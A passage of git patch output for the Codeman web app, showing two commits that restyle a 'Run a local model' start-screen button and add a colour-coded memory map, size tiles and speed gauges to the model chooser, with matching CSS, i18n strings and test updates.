in a disc, so a model on this Mac is offered as a main way in rather than as a footnote under the launchers. Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com> --- src/web/public/styles.css | 31 ++++++++++++++++++++++++++++++- 1 file changed, 30 insertions(+), 1 deletion(-) diff --git a/src/web/public/styles.css b/src/web/public/styles.css index 42f7d2d4..e7fb7007 100644 --- a/src/web/public/styles.css +++ b/src/web/public/styles.css @@ -22327,9 +22327,31 @@ html[data-tile-anim="soft"] .tile-grid-ghosts.tile-grid-ghosts--release:not(.til body scrolling between them. A click never moves the next button away. ═══════════════════════════════════════════════════════════════ */ -/* The welcome button: one more chip, on its own line under the launchers. */ +/* The welcome button: a second large button under the launchers, in the size + of the primary one, so a model on this Mac is offered as a main way in and + not as a footnote (the owner asked for it big and in the middle). It keeps + the chip's markup and the chip family's rules for everything it does not + restate here. */ .welcome-local-model { margin-top: 1.1rem; + height: 46px; + gap: 0.65rem; + padding: 0 1.4rem 0 0.45rem; + border: 1px solid var(--accent); + border-radius: 23px; + background: var(--control-bg); + color: var(--accent); + font-size: 0.95rem; + font-weight: 700; + letter-spacing: 0.005em; + box-shadow: 0 8px 24px -14px rgba(var(--accent-rgb), 0.5); +} + +.welcome-local-model:hover, +.welcome-local-model:focus-visible { + background: rgba(var(--accent-rgb), 0.12); + color: var(--accent); + border-color: var(--accent); } /* `.welcome-chip` is inline-flex, so `[hidden]` needs re-asserting or the @@ -22338,8 +22360,15 @@ html[data-tile-anim="soft"] .tile-grid-ghosts.tile-grid-ghosts--release:not(.til display: none; } +/* The chip's 14 px glyph sits in a 34 px disc, the primary button's logo size. */ .welcome-local-model svg { flex-shrink: 0; + width: 34px; + height: 34px; + padding: 8px; + box-sizing: border-box; + border-radius: 50%; + background: rgba(var(--accent-rgb), 0.16); } /* The window: App Settings' chrome (`.modal`, `.modal-header`, the boxed From eb91279a3bca23047be11a6f568924cd5519c385 Mon Sep 17 00:00:00 2001 From: Codeman maintainer <noreply@anthropic.com> Date: Sat, 7 Nov 2026 03:21:35 +0100 Subject: [PATCH 25/28] feat(local-model): a memory map and real colour in the chooser, the button first The owner's verdict on the chooser: nice, but not nice enough, too much just blue. He also wants "Run a local model" on top of the start screen, above Run Claude Code. The memory bar is now a map: the model, its context and the brief peaks side by side on the track of what this Mac can give a model, each with its size in a legend, and the verdict on the fit beside the figure. recommend() sends what the need is made of as `Candidate.memory`. Colour now carries meaning: green for good and tested, amber for tight, orange for slow, teal for the context. Violet is the feature's own colour, on its start screen button and its main action. Every row has a size tile and a speed gauge scaled to the fastest row in the list. The light skins get deeper values of the same colours, and the window is 40 px taller to hold it without scrolling. Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com> --- src/local-model/recommend.ts | 5 + src/types/local-model.ts | 6 + src/web/public/i18n.js | 9 +- src/web/public/index.html | 6 +- src/web/public/local-model-ui.js | 120 ++++++++--- src/web/public/styles.css | 308 +++++++++++++++++++++++------ test/local-model-recommend.test.ts | 2 + test/local-model-ui.test.ts | 87 ++++++-- 8 files changed, 432 insertions(+), 111 deletions(-) diff --git a/src/local-model/recommend.ts b/src/local-model/recommend.ts index 54a747f4..1d3c84cf 100644 --- a/src/local-model/recommend.ts +++ b/src/local-model/recommend.ts @@ -295,6 +295,11 @@ function buildCandidate( ...(harness.row.slowFirstTurn ? { slowFirstTurn: true } : {}), needBytes: need, needGb: formatGb(need), + memory: { + modelBytes: model.bytes + model.overheadBytes, + contextBytes: model.heldBytesPerToken * ctx, + peakBytes: model.peakExtraBytes, + }, downloadBytes: model.bytes, downloadGb: formatGb(model.bytes), budgetShare: round(need / budgetBytes, 3), diff --git a/src/types/local-model.ts b/src/types/local-model.ts index 5baa6903..16725a6e 100644 --- a/src/types/local-model.ts +++ b/src/types/local-model.ts @@ -481,6 +481,12 @@ export interface Candidate { needBytes: number; /** `needBytes` as decimal GB text, no unit. */ needGb: string; + /** + * What `needBytes` is made of, for the chooser's memory map: the model (`bytes + + * overheadBytes`), its context in use (`heldBytesPerToken * context`) and the brief peaks + * (`peakExtraBytes`). The three add up to `needBytes`. + */ + memory?: { modelBytes: number; contextBytes: number; peakBytes: number }; /** The model download in bytes (`LocalModelEntry.bytes`). */ downloadBytes: number; /** `downloadBytes` as decimal GB text, no unit. */ diff --git a/src/web/public/i18n.js b/src/web/public/i18n.js index ac8622f7..f1362f5c 100644 --- a/src/web/public/i18n.js +++ b/src/web/public/i18n.js @@ -1435,9 +1435,12 @@ estimated: '估算', 'The selected model needs {share}% of the memory this Mac can give a model': '所选模型需要此 Mac 可分配给模型的内存的 {share}%', - 'The model at its peak, with all {context} tokens of context in use': - '模型的峰值占用({context} 个 Token 的上下文全部用满时)', - 'What stays free': '剩余可用', + 'The model': '模型', + 'Context, {context} tokens': '上下文,{context} 个 Token', + 'Brief peaks': '短时峰值', + 'Stays free': '剩余可用', + 'Good fit': '宽裕', + 'Tight fit': '偏紧', 'Models that fit this Mac': '此 Mac 装得下的模型', Speed: '速度', Download: '下载', diff --git a/src/web/public/index.html b/src/web/public/index.html index c3c502c0..ddcc162f 100644 --- a/src/web/public/index.html +++ b/src/web/public/index.html @@ -510,10 +510,9 @@ it sits under them as a quiet link; settings-ui.js rewrites its contents on every state change and owns its inline display. --> <div class="welcome-actions"> - <div class="welcome-cli-actions" id="welcomeCliActions"></div> <!-- A model that runs on the Mac the server runs on (local-model-ui.js). - One button in the chip family, a sibling of the launcher slot and - never inside it (renderWelcomeCliActions empties that slot on every + The first thing on the start screen, above the launchers, in the size of + the primary button. A sibling of the launcher slot and never inside it (renderWelcomeCliActions empties that slot on every state change). Ships `hidden`: only that module reveals it, once the server has answered for a Mac. It opens the chooser window (#localModelModal) and the module writes its label through its own @@ -522,6 +521,7 @@ <svg width="14" height="14" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.9" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true"><rect x="6" y="6" width="12" height="12" rx="2"/><path d="M9.5 2.5v3.5M14.5 2.5v3.5M9.5 18v3.5M14.5 18v3.5M2.5 9.5H6M2.5 14.5H6M18 9.5h3.5M18 14.5h3.5"/></svg> <span class="welcome-label" id="welcomeLocalModelLabel">Run a local model</span> </button> + <div class="welcome-cli-actions" id="welcomeCliActions"></div> <button type="button" class="welcome-tunnel-link" id="welcomeTunnelBtn" style="display: none;" onclick="app.toggleTunnelFromWelcome()"> <svg width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><path d="M12 2L2 7l10 5 10-5-10-5z"/><path d="M2 17l10 5 10-5"/><path d="M2 12l10 5 10-5"/></svg> Cloudflare Tunnel diff --git a/src/web/public/local-model-ui.js b/src/web/public/local-model-ui.js index 19964c5f..e69dfa4e 100644 --- a/src/web/public/local-model-ui.js +++ b/src/web/public/local-model-ui.js @@ -14,7 +14,7 @@ * * ## Three surfaces, one window * - * - Welcome screen: ONE button (`#welcomeLocalModelBtn`) under the launchers, in the chip + * - Welcome screen: ONE large button (`#welcomeLocalModelBtn`) above the launchers, on the chip * family. "Run a local model", or "Local model" once one is installed. Ships `hidden` and * shows only once the server has answered for a Mac. * - App Settings > Models: one row (`#localModelSettings`), the state in a few words, and a @@ -324,6 +324,72 @@ function localModelBar({ share, role, label, kind, from }) { return bar; } +/** + * The memory map: one bar for what this Mac can give a model, split into what the selected + * model takes of it. The track that stays is what stays free. A candidate without its parts + * (`memory`) gets one plain fill. + */ +function localModelMemoryBar(candidate, budgetBytes, last, label) { + const percent = (bytes) => (budgetBytes > 0 ? Math.max(0, (bytes / budgetBytes) * 100) : 0); + const parts = candidate.memory; + const bar = localModelBar({ share: candidate.budgetShare, role: 'meter', kind: 'memory', from: last.memory, label }); + if (!parts) return bar; + const fills = [ + ['model', parts.modelBytes], + ['context', parts.contextBytes], + ['peak', parts.peakBytes], + ]; + bar.replaceChildren( + ...fills.map(([name, bytes]) => { + const to = Math.min(100, Math.round(percent(bytes) * 10) / 10); + const fill = localModelEl('div', `lm-bar-fill lm-part-${name}`); + fill.dataset.kind = `memory-${name}`; + fill.dataset.to = String(to); + const from = last[fill.dataset.kind]; + fill.style.width = `${Number.isFinite(from) ? from : to}%`; + return fill; + }) + ); + return bar; +} + +/** The legend under the memory map: a swatch, what it stands for and its size in whole GB. */ +function localModelMemoryParts(candidate, budgetBytes) { + const parts = candidate.memory; + if (!parts) return null; + const gb = (bytes) => localModelGb(String(Math.round(Math.max(0, bytes) / 1e9))); + const free = budgetBytes - parts.modelBytes - parts.contextBytes - parts.peakBytes; + const rows = [ + ['model', localModelT('The model'), parts.modelBytes], + [ + 'context', + localModelT('Context, {context} tokens', { context: localModelCount(candidate.context) }), + parts.contextBytes, + ], + ['peak', localModelT('Brief peaks'), parts.peakBytes], + ['free', localModelT('Stays free'), free], + ]; + const legend = localModelEl('div', 'lm-legend'); + for (const [name, text, bytes] of rows) { + const item = localModelEl('span', 'lm-legend-item'); + item.appendChild(localModelEl('span', `lm-swatch lm-part-${name}`)); + item.appendChild(localModelEl('span', 'lm-legend-name', text)); + item.appendChild(localModelEl('span', 'lm-legend-size', gb(bytes))); + legend.appendChild(item); + } + return legend; +} + +/** The size tile of a model row: its billions of parameters, coloured by how large it is. */ +function localModelTile(candidate) { + const size = Number(candidate.paramsB); + if (!Number.isFinite(size) || size <= 0) return localModelEl('span', 'lm-tile'); + const tone = size >= 30 ? 'large' : size >= 15 ? 'mid' : 'small'; + const tile = localModelEl('span', `lm-tile lm-tile-${tone}`, `${Math.floor(size)}B`); + tile.setAttribute('aria-hidden', 'true'); + return tile; +} + /** * One row of the confirm screen's table: what is fetched, how large it is, and under the name * a second line that says what it is (`note`) and, for a coding agent, the literal command of @@ -944,8 +1010,8 @@ Object.assign(CodemanApp.prototype, { ); }, - /** One model row of the chooser: a radio with the name, the tag, the speed and the download. */ - _localModelRow(candidate, { checked, tabStop }) { + /** One model row of the chooser: radio, size tile, name, tag, speed with its gauge, download. */ + _localModelRow(candidate, { checked, tabStop, topSpeed }) { const row = localModelEl('div', 'lm-model'); row.setAttribute('role', 'radio'); row.setAttribute('aria-checked', checked ? 'true' : 'false'); @@ -954,6 +1020,7 @@ Object.assign(CodemanApp.prototype, { row.dataset.modelId = candidate.modelId; row.appendChild(localModelEl('span', 'lm-radio')); if (checked) row.classList.add('lm-model-on'); + row.appendChild(localModelTile(candidate)); row.appendChild(localModelEl('span', 'lm-model-name', String(candidate.modelLabel || candidate.modelId))); const tagSlot = localModelEl('span', 'lm-model-tag'); const label = candidate.tag && typeof candidate.tag.label === 'string' ? candidate.tag.label : ''; @@ -961,10 +1028,23 @@ Object.assign(CodemanApp.prototype, { const tag = localModelEl('span', 'lm-tag', localModelT(label)); // The tags of the row the window opens on take the accent. Every other tag is quiet. if (LOCAL_MODEL_ACCENT_TAGS.includes(candidate.tag.kind)) tag.classList.add('lm-tag-accent'); + tag.classList.add(`lm-tag-${candidate.tag.kind}`); tagSlot.appendChild(tag); } row.appendChild(tagSlot); - row.appendChild(localModelEl('span', 'lm-model-speed', localModelSpeedText(candidate))); + const speed = localModelEl('span', 'lm-model-speed', localModelSpeedText(candidate)); + const gauge = localModelEl( + 'span', + `lm-gauge lm-gauge-${candidate.speed === 'slow' ? 'slow' : candidate.speed === 'ok' ? 'ok' : 'unknown'}` + ); + const fast = Number(candidate.tokensPerSecond); + if (Number.isFinite(fast) && topSpeed > 0) { + const needle = localModelEl('span', 'lm-gauge-fill'); + needle.style.width = `${Math.max(6, Math.round((fast / topSpeed) * 100))}%`; + gauge.appendChild(needle); + } + speed.appendChild(gauge); + row.appendChild(speed); row.appendChild(localModelEl('span', 'lm-model-size', localModelGb(candidate.downloadGb))); return row; }, @@ -989,29 +1069,22 @@ Object.assign(CodemanApp.prototype, { if (recommendation.budgetSource === 'estimated') { head.appendChild(localModelEl('span', 'lm-figure-aside', localModelT('estimated'))); } + const fitWord = + candidate.fit === 'tight' ? localModelT('Tight fit') : candidate.fit === 'good' ? localModelT('Good fit') : ''; + if (fitWord) head.appendChild(localModelEl('span', `lm-fit lm-fit-${candidate.fit}`, fitWord)); meter.appendChild(head); const share = String(Math.round((Number.isFinite(candidate.budgetShare) ? candidate.budgetShare : 0) * 100)); + // The bar is the model at its PEAK, split into what makes that peak. meter.appendChild( - localModelBar({ - share: candidate.budgetShare, - role: 'meter', - kind: 'memory', - from: last.memory, - label: localModelT('The selected model needs {share}% of the memory this Mac can give a model', { share }), - }) - ); - const legend = localModelEl('div', 'lm-legend'); - const context = localModelCount(candidate.context); - // The fill is the model at its PEAK. The installed line uses the same words for it. - legend.appendChild( - localModelEl( - 'span', - '', - localModelT('The model at its peak, with all {context} tokens of context in use', { context }) + localModelMemoryBar( + candidate, + Number(recommendation.budgetBytes), + last, + localModelT('The selected model needs {share}% of the memory this Mac can give a model', { share }) ) ); - legend.appendChild(localModelEl('span', '', localModelT('What stays free'))); - meter.appendChild(legend); + const legend = localModelMemoryParts(candidate, Number(recommendation.budgetBytes)); + if (legend) meter.appendChild(legend); parts.push(meter); // The server's headline: its word for a pick it has run on a Mac like this one labels the @@ -1035,9 +1108,10 @@ Object.assign(CodemanApp.prototype, { const group = localModelEl('div', 'lm-models'); group.setAttribute('role', 'radiogroup'); group.setAttribute('aria-labelledby', 'localModelListLabel'); + const topSpeed = Math.max(0, ...candidates.map((row) => Number(row.tokensPerSecond) || 0)); for (const row of candidates) { const checked = row === candidate; - const el = this._localModelRow(row, { checked, tabStop: checked }); + const el = this._localModelRow(row, { checked, tabStop: checked, topSpeed }); el.addEventListener('click', () => this.selectLocalModel(row.modelId)); group.appendChild(el); } diff --git a/src/web/public/styles.css b/src/web/public/styles.css index e7fb7007..f23a4942 100644 --- a/src/web/public/styles.css +++ b/src/web/public/styles.css @@ -22327,31 +22327,55 @@ html[data-tile-anim="soft"] .tile-grid-ghosts.tile-grid-ghosts--release:not(.til body scrolling between them. A click never moves the next button away. ═══════════════════════════════════════════════════════════════ */ -/* The welcome button: a second large button under the launchers, in the size - of the primary one, so a model on this Mac is offered as a main way in and - not as a footnote (the owner asked for it big and in the middle). It keeps - the chip's markup and the chip family's rules for everything it does not - restate here. */ +/* The feature's own colours. Violet is what the local model is known by, on + the start screen and in its window; the others carry meaning (green good, + amber tight, orange slow, teal the context). All of them are set here, once, + and the light skins get deeper values so they hold on a pale page. */ +:root { + --lm-violet: #a78bfa; + --lm-teal: #2dd4bf; + --lm-amber: #f5c451; + --lm-orange: #fb923c; + --lm-good: #4ade80; + --lm-cta-a: #8567f4; + --lm-cta-b: #6346e0; + --lm-cta-hover-a: #9479f7; + --lm-cta-hover-b: #7054ea; +} + +html[data-skin='paper-gray'], +html[data-skin='solarized-light'], +html[data-skin='catppuccin-latte'], +html[data-skin='rose-pine-dawn'] { + --lm-violet: #6d3fd8; + --lm-teal: #0b8378; + --lm-amber: #a86a00; + --lm-orange: #c2500f; + --lm-good: #16803c; +} + +/* The welcome button: the first thing on the start screen, above the launchers, + in the size of the primary button and in the feature's violet. */ .welcome-local-model { - margin-top: 1.1rem; + margin-bottom: 1.1rem; height: 46px; gap: 0.65rem; padding: 0 1.4rem 0 0.45rem; - border: 1px solid var(--accent); + border: 1px solid var(--lm-cta-a); border-radius: 23px; - background: var(--control-bg); - color: var(--accent); + background: linear-gradient(135deg, var(--lm-cta-a), var(--lm-cta-b)); + color: #fff; font-size: 0.95rem; font-weight: 700; letter-spacing: 0.005em; - box-shadow: 0 8px 24px -14px rgba(var(--accent-rgb), 0.5); + box-shadow: 0 8px 24px -12px rgba(99, 70, 224, 0.75), inset 0 1px 0 rgba(255, 255, 255, 0.18); } .welcome-local-model:hover, .welcome-local-model:focus-visible { - background: rgba(var(--accent-rgb), 0.12); - color: var(--accent); - border-color: var(--accent); + border-color: var(--lm-cta-hover-a); + background: linear-gradient(135deg, var(--lm-cta-hover-a), var(--lm-cta-hover-b)); + color: #fff; } /* `.welcome-chip` is inline-flex, so `[hidden]` needs re-asserting or the @@ -22368,7 +22392,7 @@ html[data-tile-anim="soft"] .tile-grid-ghosts.tile-grid-ghosts--release:not(.til padding: 8px; box-sizing: border-box; border-radius: 50%; - background: rgba(var(--accent-rgb), 0.16); + background: rgba(255, 255, 255, 0.18); } /* The window: App Settings' chrome (`.modal`, `.modal-header`, the boxed @@ -22380,7 +22404,7 @@ html[data-tile-anim="soft"] .tile-grid-ghosts.tile-grid-ghosts--release:not(.til flex-direction: column; width: min(640px, 94vw); max-width: min(640px, 94vw); - height: min(600px, 88vh); + height: min(640px, 88vh); max-height: 88vh; } @@ -22518,7 +22542,17 @@ html[data-tile-anim="soft"] .tile-grid-ghosts.tile-grid-ghosts--release:not(.til .lm-meter { display: flex; flex-direction: column; - gap: 0.5rem; + gap: 0.6rem; + padding: 0.8rem 0.9rem 0.75rem; + border: 1px solid color-mix(in srgb, var(--lm-violet) 22%, var(--border)); + border-radius: 12px; + background: + linear-gradient( + 120deg, + color-mix(in srgb, var(--lm-violet) 11%, transparent), + color-mix(in srgb, var(--lm-teal) 6%, transparent) 75% + ), + var(--bg-input); } .lm-meter-head { @@ -22529,7 +22563,7 @@ html[data-tile-anim="soft"] .tile-grid-ghosts.tile-grid-ghosts--release:not(.til } .lm-figure { - font-size: 1.06rem; + font-size: 1.12rem; font-weight: 680; letter-spacing: -0.012em; color: var(--text); @@ -22547,40 +22581,103 @@ html[data-tile-anim="soft"] .tile-grid-ghosts.tile-grid-ghosts--release:not(.til font-variant-numeric: tabular-nums; } -.lm-bar { - height: 10px; +/* How the selected model fits, in the colour of its verdict. */ +.lm-fit { + align-self: center; + margin-inline-start: auto; + padding: 0.12rem 0.55rem; border-radius: 999px; - background: var(--text-muted); + font-size: 0.72rem; + font-weight: 650; + white-space: nowrap; +} + +.lm-fit-good { + background: color-mix(in srgb, var(--lm-good) 16%, transparent); + color: var(--lm-good); +} + +.lm-fit-tight { + background: color-mix(in srgb, var(--lm-amber) 16%, transparent); + color: var(--lm-amber); +} + +/* The bar: the track is what this Mac can give a model. The memory map fills it + with three parts side by side; a download fills it with one. */ +.lm-bar { + display: flex; + gap: 2px; + height: 12px; + border-radius: 999px; + background: color-mix(in srgb, var(--text-muted) 34%, transparent); overflow: hidden; } .lm-bar-fill { + flex: none; height: 100%; - border-radius: 999px; - background: var(--accent); + border-radius: 2px; + background: linear-gradient(90deg, var(--lm-violet), var(--lm-teal)); transition: width 0.32s cubic-bezier(0.4, 0, 0.2, 1); } +.lm-part-model { + background: var(--lm-violet); +} + +.lm-part-context { + background: var(--lm-teal); +} + +/* The brief peaks are not held all the time, so they are striped. */ +.lm-part-peak { + background: repeating-linear-gradient( + -45deg, + var(--lm-amber) 0 3px, + color-mix(in srgb, var(--lm-amber) 45%, transparent) 3px 6px + ); +} + +.lm-part-free { + background: color-mix(in srgb, var(--text-muted) 34%, transparent); +} + .lm-legend { display: flex; + flex-wrap: wrap; justify-content: space-between; - gap: 1rem; - font-size: 0.7rem; + gap: 0.25rem 0.9rem; + font-size: 0.72rem; line-height: 1.4; color: var(--text-dim); } -.lm-legend > :last-child { - text-align: end; +.lm-legend-item { + display: inline-flex; + align-items: center; + gap: 0.35rem; + white-space: nowrap; +} + +.lm-swatch { + flex-shrink: 0; + width: 9px; + height: 9px; + border-radius: 3px; +} + +.lm-legend-size { + font-weight: 620; + color: var(--text); } /* ── the models: one grid, so the numbers line up down the list ──── */ -/* Radio, name, tag, speed, download. The tag sits next to the name and takes - the room that is left, which pushes the two numbers to the right edge. */ +/* Radio, size tile, name, tag, speed, download. The tag sits next to the name + and takes the room that is left, which pushes the two numbers to the right. */ .lm-list { display: grid; - grid-template-columns: auto minmax(0, max-content) minmax(0, 1fr) auto auto; - column-gap: 0.9rem; + grid-template-columns: auto auto minmax(0, max-content) minmax(0, 1fr) auto auto; + column-gap: 0.75rem; row-gap: 0.1rem; /* A row's fill reaches into the window's padding, so what is IN a row lines up with every other line of the window on both edges. */ @@ -22613,7 +22710,7 @@ html[data-tile-anim="soft"] .tile-grid-ghosts.tile-grid-ghosts--release:not(.til } .lm-caption-label { - grid-column: 1 / span 3; + grid-column: 1 / span 4; } /* The server's word for a pick it has run on a Mac like this one stands where @@ -22630,8 +22727,8 @@ html[data-tile-anim="soft"] .tile-grid-ghosts.tile-grid-ghosts--release:not(.til } .lm-model { - min-height: 2.35rem; - border-radius: 7px; + min-height: 2.6rem; + border-radius: 9px; cursor: pointer; transition: background var(--transition-smooth); } @@ -22641,15 +22738,19 @@ html[data-tile-anim="soft"] .tile-grid-ghosts.tile-grid-ghosts--release:not(.til } .lm-model:focus-visible { - outline: 2px solid var(--accent); + outline: 2px solid var(--lm-violet); outline-offset: -2px; } -/* Selected: the accent on the reading edge and a faint fill. Nothing else. */ +/* Selected: violet on the reading edge and a fill that fades out to the right. */ .lm-model-on, .lm-model-on:hover { - border-inline-start-color: var(--accent); - background: rgba(var(--accent-rgb), 0.075); + border-inline-start-color: var(--lm-violet); + background: linear-gradient( + 90deg, + color-mix(in srgb, var(--lm-violet) 17%, transparent), + color-mix(in srgb, var(--lm-violet) 4%, transparent) + ); } .lm-radio { @@ -22661,8 +22762,38 @@ html[data-tile-anim="soft"] .tile-grid-ghosts.tile-grid-ghosts--release:not(.til } .lm-model-on .lm-radio { - border-color: var(--accent); - background: radial-gradient(circle, var(--accent) 0 3px, transparent 3.5px); + border-color: var(--lm-violet); + background: radial-gradient(circle, var(--lm-violet) 0 3px, transparent 3.5px); +} + +/* The size tile: a model's billions of parameters, coloured by how large it is. */ +.lm-tile { + display: inline-flex; + align-items: center; + justify-content: center; + box-sizing: border-box; + width: 34px; + height: 25px; + border-radius: 7px; + font-size: 0.68rem; + font-weight: 720; + letter-spacing: -0.01em; + font-variant-numeric: tabular-nums; +} + +.lm-tile-large { + background: color-mix(in srgb, var(--lm-violet) 20%, transparent); + color: var(--lm-violet); +} + +.lm-tile-mid { + background: color-mix(in srgb, var(--lm-teal) 18%, transparent); + color: var(--lm-teal); +} + +.lm-tile-small { + background: color-mix(in srgb, var(--text-muted) 22%, transparent); + color: var(--text-dim); } .lm-model-name { @@ -22678,21 +22809,37 @@ html[data-tile-anim="soft"] .tile-grid-ghosts.tile-grid-ghosts--release:not(.til justify-content: flex-start; } -/* A tag is text with a hairline, not a coloured pill. The accent is for the - pick (and for a row that was run on a Mac like this one). */ +/* A tag says one thing about a row, in the colour of what it says. */ .lm-tag { - padding: 0.05rem 0.42rem; - border: 1px solid var(--border-light); + padding: 0.08rem 0.45rem; border-radius: 5px; + background: color-mix(in srgb, var(--text-muted) 16%, transparent); font-size: 0.66rem; + font-weight: 600; line-height: 1.5; color: var(--text-dim); white-space: nowrap; } -.lm-tag-accent { - border-color: rgba(var(--accent-rgb), 0.5); - color: var(--accent); +.lm-tag-tested, +.lm-tag-best { + background: color-mix(in srgb, var(--lm-good) 15%, transparent); + color: var(--lm-good); +} + +.lm-tag-tested::before { + content: '\2713\00a0'; +} + +.lm-tag-best-tight, +.lm-tag-tight { + background: color-mix(in srgb, var(--lm-amber) 15%, transparent); + color: var(--lm-amber); +} + +.lm-tag-slow { + background: color-mix(in srgb, var(--lm-orange) 15%, transparent); + color: var(--lm-orange); } .lm-model-speed, @@ -22703,10 +22850,41 @@ html[data-tile-anim="soft"] .tile-grid-ghosts.tile-grid-ghosts--release:not(.til } .lm-model-speed { + display: inline-flex; + flex-direction: column; + align-items: flex-end; + gap: 3px; font-size: 0.76rem; color: var(--text-dim); } +/* The speed at a glance: full is the fastest model in the list. */ +.lm-gauge { + display: block; + width: 64px; + height: 3px; + border-radius: 999px; + background: color-mix(in srgb, var(--text-muted) 26%, transparent); + overflow: hidden; +} + +.lm-gauge-fill { + display: block; + height: 100%; + border-radius: 999px; + background: var(--lm-good); +} + +.lm-gauge-slow .lm-gauge-fill { + background: var(--lm-orange); +} + +.lm-gauge-unknown { + background: none; + border-top: 1px dashed color-mix(in srgb, var(--text-muted) 55%, transparent); + height: 0; +} + .lm-model-size { font-size: 0.8rem; font-weight: 560; @@ -22722,8 +22900,8 @@ html[data-tile-anim="soft"] .tile-grid-ghosts.tile-grid-ghosts--release:not(.til .lm-caption, .lm-model { - grid-template-columns: 14px 10.5rem minmax(0, 1fr) 8.6rem 4.4rem; - column-gap: 0.9rem; + grid-template-columns: 14px 34px 9.5rem minmax(0, 1fr) 7rem 4rem; + column-gap: 0.75rem; } .lm-model { @@ -22758,7 +22936,7 @@ html[data-tile-anim="soft"] .tile-grid-ghosts.tile-grid-ghosts--release:not(.til } .lm-select:focus-visible { - border-color: var(--accent); + border-color: var(--lm-violet); } .lm-runs-hint { @@ -22895,8 +23073,8 @@ html[data-tile-anim="soft"] .tile-grid-ghosts.tile-grid-ghosts--release:not(.til } .lm-step-done .lm-step-mark { - border-color: var(--accent); - background: var(--accent); + border-color: var(--lm-good); + background: var(--lm-good); } /* The check of a finished step, drawn from two borders in the page colour. */ @@ -22907,7 +23085,7 @@ html[data-tile-anim="soft"] .tile-grid-ghosts.tile-grid-ghosts--release:not(.til top: 1px; width: 3px; height: 6px; - border: solid var(--accent-ink); + border: solid var(--bg-card); border-width: 0 1.5px 1.5px 0; transform: rotate(45deg); } @@ -22919,8 +23097,8 @@ html[data-tile-anim="soft"] .tile-grid-ghosts.tile-grid-ghosts--release:not(.til } .lm-step-now .lm-step-mark { - border-color: var(--accent); - background: radial-gradient(circle, var(--accent) 0 3px, transparent 3.5px); + border-color: var(--lm-violet); + background: radial-gradient(circle, var(--lm-violet) 0 3px, transparent 3.5px); } .lm-step-stopped .lm-step-mark { @@ -22947,7 +23125,7 @@ html[data-tile-anim="soft"] .tile-grid-ghosts.tile-grid-ghosts--release:not(.til } .lm-dot-on { - background: var(--green); + background: var(--lm-good); } .lm-state-text { @@ -23035,7 +23213,7 @@ html[data-tile-anim="soft"] .tile-grid-ghosts.tile-grid-ghosts--release:not(.til .lm-check input { margin: 0; - accent-color: var(--accent); + accent-color: var(--lm-violet); } /* ── the foot: one promise on the left, the action on the right ──── */ @@ -23081,21 +23259,21 @@ html[data-tile-anim="soft"] .tile-grid-ghosts.tile-grid-ghosts--release:not(.til font-weight: 700; } -/* OG has no designed --accent-ink: the main action takes the deeper blue and - light text of that skin's own Run button, as `.welcome-primary` does. Keep - the two in step. */ -html[data-skin='og'] .local-model-window .wt-btn-primary.lm-btn { - border-color: rgba(96, 165, 250, 0.5); - background: linear-gradient(135deg, #1e4fb8 0%, #2563eb 100%); +/* The main action is the feature's violet on every skin, like its start screen + button: white text on the same gradient, so no skin needs a rule of its own. */ +.local-model-window .wt-btn-primary.lm-btn { + border-color: var(--lm-cta-a); + background: linear-gradient(135deg, var(--lm-cta-a), var(--lm-cta-b)); color: #fff; } -html[data-skin='og'] .local-model-window .wt-btn-primary.lm-btn:hover:not(:disabled) { - background: linear-gradient(135deg, #2454a8 0%, #2d6cf0 100%); +.local-model-window .wt-btn-primary.lm-btn:hover:not(:disabled) { + border-color: var(--lm-cta-hover-a); + background: linear-gradient(135deg, var(--lm-cta-hover-a), var(--lm-cta-hover-b)); } .local-model-window .wt-btn.lm-btn:focus-visible { - outline: 2px solid var(--accent); + outline: 2px solid var(--lm-violet); outline-offset: 2px; } diff --git a/test/local-model-recommend.test.ts b/test/local-model-recommend.test.ts index 71726247..6ad0eb40 100644 --- a/test/local-model-recommend.test.ts +++ b/test/local-model-recommend.test.ts @@ -516,6 +516,7 @@ describe('the MacBook Pro (Mac17,13: Apple M5 Pro, 48 GB)', () => { // 23,105,798,956 + 37,000 x 131,072 + 3,000,000,000 + 5,000,000,000. needBytes: 35_955_462_956, needGb: '36.0', + memory: { modelBytes: 26_105_798_956, contextBytes: 4_849_664_000, peakBytes: 5_000_000_000 }, // What a Mac really downloads (the MLX build), not the 22.6 GB of the registry manifest. downloadBytes: 23_105_798_956, downloadGb: '23.1', @@ -2059,6 +2060,7 @@ describe('the shape of the answer', () => { 'installBytes', 'installGb', 'license', + 'memory', 'modelId', 'modelLabel', 'needBytes', diff --git a/test/local-model-ui.test.ts b/test/local-model-ui.test.ts index b577c4c4..e2b866ae 100644 --- a/test/local-model-ui.test.ts +++ b/test/local-model-ui.test.ts @@ -528,7 +528,7 @@ async function opened(page: Mounted, first: LocalModelStatus, verb?: ApiHandler) // ---------- The page ---------- describe('the markup the module fills', () => { - it('ships one hidden button among the welcome launchers, and no card', () => { + it('ships one hidden button above the welcome launchers, and no card', () => { const button = REAL_DOCUMENT.getElementById('welcomeLocalModelBtn')!; expect(button.hidden).toBe(true); expect(button.tagName).toBe('BUTTON'); @@ -538,8 +538,9 @@ describe('the markup the module fills', () => { expect(button.parentElement?.classList.contains('welcome-actions')).toBe(true); expect(button.closest('#welcomeCliActions')).toBeNull(); const order = [...button.parentElement!.children].map((el) => el.id); - expect(order.indexOf('welcomeLocalModelBtn')).toBeGreaterThan(order.indexOf('welcomeCliActions')); - expect(order.indexOf('welcomeLocalModelBtn')).toBeLessThan(order.indexOf('welcomeTunnelBtn')); + // First on the start screen: the owner wants it above Run Claude Code. + expect(order.indexOf('welcomeLocalModelBtn')).toBe(0); + expect(order.indexOf('welcomeLocalModelBtn')).toBeLessThan(order.indexOf('welcomeCliActions')); expect(button.getAttribute('onclick')).toBe('app.openLocalModelWindow()'); expect(button.hasAttribute('data-i18n-skip')).toBe(true); // The read-only card of the first version is gone, with its styles. @@ -833,10 +834,6 @@ describe('the chooser', () => { expect(texts(body, '.lm-hw')).toEqual(['Apple M5 Pro, 48 GB memory, 897 GB free']); // An estimate, in whole GB: "about 36 of 38", never "36.0 of 37.6". expect(texts(body, '.lm-figure')).toEqual(['About 36 of 38 GB of memory']); - expect(texts(body, '.lm-legend span')).toEqual([ - 'The model at its peak, with all 131,072 tokens of context in use', - 'What stays free', - 